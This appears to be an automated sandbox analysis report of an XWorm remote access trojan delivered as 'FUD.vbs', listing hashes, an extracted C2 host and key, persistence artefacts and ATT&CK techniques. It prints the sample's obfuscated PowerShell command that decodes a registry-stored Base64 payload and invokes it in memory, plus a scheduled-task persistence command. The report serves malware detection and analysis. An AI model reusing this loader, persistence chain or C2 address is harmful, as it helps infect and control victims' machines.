Analysis
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max time kernel
284s -
max time network
244s -
platform
windows11-21h2_x64 -
resource
win11-20240508-en -
resource tags
arch:x64arch:x86image:win11-20240508-enlocale:en-usos:windows11-21h2-x64system -
submitted
21-06-2024 20:33
Static task
static1
Behavioral task
behavioral1
Sample
FUD.vbs
Resource
win11-20240508-en
General
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Target
FUD.vbs
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Size
51KB
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MD5
6b83a09ad13160e0b702975741b3ad05
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SHA1
6176f88ff38e34b19564af965d63c95a9b52ed7a
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SHA256
db947993a090882f53dc6e88e0510d11041a0a5028742db5f93c76061c42b225
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SHA512
b2c187a83f6cc43862bb2c9ab263d57ff6972b12590bf0c04bcf3d83a2aff896f9576540a9868882b5f1af84bdbb2ac04c47feea1a577f92b1a8edd3734a5ded
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SSDEEP
1536:+64QdHCZQwDF9SkelLyAPh0voJKfI2jygScsddWZrv+Vj:+64ACp9reVUvWII2gJdWZT+Vj
Malware Config
Extracted
xworm
5.0
Jamalhacker-53065.portmap.io:23695
kWvWL3qmxl7MyOaZ
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Install_directory
%Userprofile%
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install_file
USB.exe
Signatures
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Detect Xworm Payload 1 IoCs
Processes:
resource yara_rule behavioral1/memory/4988-15-0x000002122E1D0000-0x000002122E1E0000-memory.dmp family_xworm -
Drops startup file 4 IoCs
Processes:
powershell.exedescription ioc process File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows backup.lnk powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Windows backup.lnk powershell.exe File created C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\anti root.vbs powershell.exe File opened for modification C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\anti root.vbs powershell.exe -
Executes dropped EXE 3 IoCs
Processes:
Windows backupWindows backupWindows backuppid process 2032 Windows backup 1368 Windows backup 996 Windows backup -
Adds Run key to start application 2 TTPs 1 IoCs
Processes:
powershell.exedescription ioc process Set value (str) \REGISTRY\USER\S-1-5-21-3001105534-2705918504-2956618779-1000\Software\Microsoft\Windows\CurrentVersion\Run\Windows backup = "C:\\Users\\Admin\\Windows backup" powershell.exe -
Looks up external IP address via web service 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
Processes:
flow ioc 1 ip-api.com -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
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Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
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Suspicious behavior: EnumeratesProcesses 8 IoCs
Processes:
powershell.exeWindows backupWindows backupWindows backuppid process 4988 powershell.exe 4988 powershell.exe 2032 Windows backup 2032 Windows backup 1368 Windows backup 1368 Windows backup 996 Windows backup 996 Windows backup -
Suspicious use of AdjustPrivilegeToken 5 IoCs
Processes:
powershell.exeWindows backupWindows backupWindows backupdescription pid process Token: SeDebugPrivilege 4988 powershell.exe Token: SeDebugPrivilege 4988 powershell.exe Token: SeDebugPrivilege 2032 Windows backup Token: SeDebugPrivilege 1368 Windows backup Token: SeDebugPrivilege 996 Windows backup -
Suspicious use of WriteProcessMemory 4 IoCs
Processes:
WScript.exepowershell.exedescription pid process target process PID 3888 wrote to memory of 4988 3888 WScript.exe powershell.exe PID 3888 wrote to memory of 4988 3888 WScript.exe powershell.exe PID 4988 wrote to memory of 2220 4988 powershell.exe schtasks.exe PID 4988 wrote to memory of 2220 4988 powershell.exe schtasks.exe -
Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\FUD.vbs"1⤵
- Suspicious use of WriteProcessMemory
PID:3888 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit -exec bypass -window 1 -Command Copy-Item 'C:\Users\Admin\AppData\Local\Temp\FUD.vbs' 'C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\anti root.vbs'; $demitone = ((Get-ItemProperty HKCU:\Software\Chrome\).Updates); $demitone = -join $demitone[-1..-$demitone.Length];[<##>AppDomain<##>]::<##>('ipsedixitishurrentDomain'.replace('ipsedixitish','C'))<##>.<##>('bulblessoad'.replace('bulbless','L'))([Convert]::FromBase64String($demitone))<##>.<##>('absolutisticallyntryPoint'.replace('absolutistically','E'))<##>.<##>('Inmingleableoke'.replace('mingleable','v'))($Null,$Null)<##>;2⤵
- Drops startup file
- Adds Run key to start application
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4988 -
C:\Windows\System32\schtasks.exe"C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "Windows backup" /tr "C:\Users\Admin\Windows backup"3⤵
- Scheduled Task/Job: Scheduled Task
PID:2220
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C:\Users\Admin\Windows backup"C:\Users\Admin\Windows backup"1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2032
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C:\Users\Admin\Windows backup"C:\Users\Admin\Windows backup"1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1368
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C:\Users\Admin\Windows backup"C:\Users\Admin\Windows backup"1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:996
Network
MITRE ATT&CK Enterprise v15
Execution
Command and Scripting Interpreter
1PowerShell
1Scheduled Task/Job
1Scheduled Task
1Persistence
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Scheduled Task/Job
1Scheduled Task
1Replay Monitor
Loading Replay Monitor...
Downloads
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Filesize
2KB
MD5627073ee3ca9676911bee35548eff2b8
SHA14c4b68c65e2cab9864b51167d710aa29ebdcff2e
SHA25685b280a39fc31ba1e15fb06102a05b8405ff3b82feb181d4170f04e466dd647c
SHA5123c5f6c03e253b83c57e8d6f0334187dbdcdf4fa549eecd36cbc1322dca6d3ca891dc6a019c49ec2eafb88f82d0434299c31e4dfaab123acb42e0546218f311fb
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Filesize
62KB
MD5e566632d8956997225be604d026c9b39
SHA194a9aade75fffc63ed71404b630eca41d3ce130e
SHA256b7f66a3543488b08d8533f290eb5f2df7289531934e6db9c346714cfbf609cf0
SHA512f244eb419eef0617cd585002e52c26120e57fcbadc37762c100712c55ff3c29b0f3991c2ffa8eefc4080d2a8dbfa01b188250ea440d631efed358e702cc3fecd
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Filesize
1KB
MD5a1e1b2906fd761e72f3c2cd8f27dd8ca
SHA1803061603f5b911cb5bd701a21c9ce408b065f79
SHA256915e39a5c6da978172a51d8802604a592e9f49678847a0a467f30ad1e01bc542
SHA512271d24e135bd4a1fbeff84e65abe76d34338d4929e5d0792bb9f5b4ef15cccf09754ab794eee1d988aa5cd553f0c12a1e18a1155ceabc2521329403a9dbe653b
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Filesize
1KB
MD5d69efb50cef428dcdedfdc72a8764d59
SHA19d7c09c3f1d51dc685e4ba39e721fe78f81fb0b1
SHA256c2d935f8fb7a25df1a37225f2b3c1865578b03826acabaa555ae42d2be243293
SHA5124f01a5889caab1e38646a55901d0a14eabe0a1400d33ba90ec20b55caa7c50949a4d62b20be87cdbbd2d0d9bb767e0c9a8544ceadae7f9458bf1aa560cbfd0dd
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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Filesize
15B
MD50f1dfa11c990c28f572e3c86f1f4bb05
SHA198649818374499f7adf3b7b3a2f43b46cdd6e582
SHA25643ac26cbbe3e456a03fea615053557e6c2e8888a4fc11a4ffa717503a167fab2
SHA51262b1c50acef663660b6b47dbe91213141b5506d9bea898dfbfbf1970e0bb531f2ae423e373b1325a6f9fb5db8cd651f6d8f41baa924f991e7289ae248abfbce1
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Filesize
440KB
MD50e9ccd796e251916133392539572a374
SHA1eee0b7e9fdb295ea97c5f2e7c7ba3ac7f4085204
SHA256c7d4e119149a7150b7101a4bd9fffbf659fba76d058f7bf6cc73c99fb36e8221
SHA512e15c3696e2c96874242d3b0731ce0c790387ccce9a83a19634aed4d1efef72ce8b8fa683069950d652b16cd8d5e9daae9910df6d0a75cb74fdbe90ae5186765d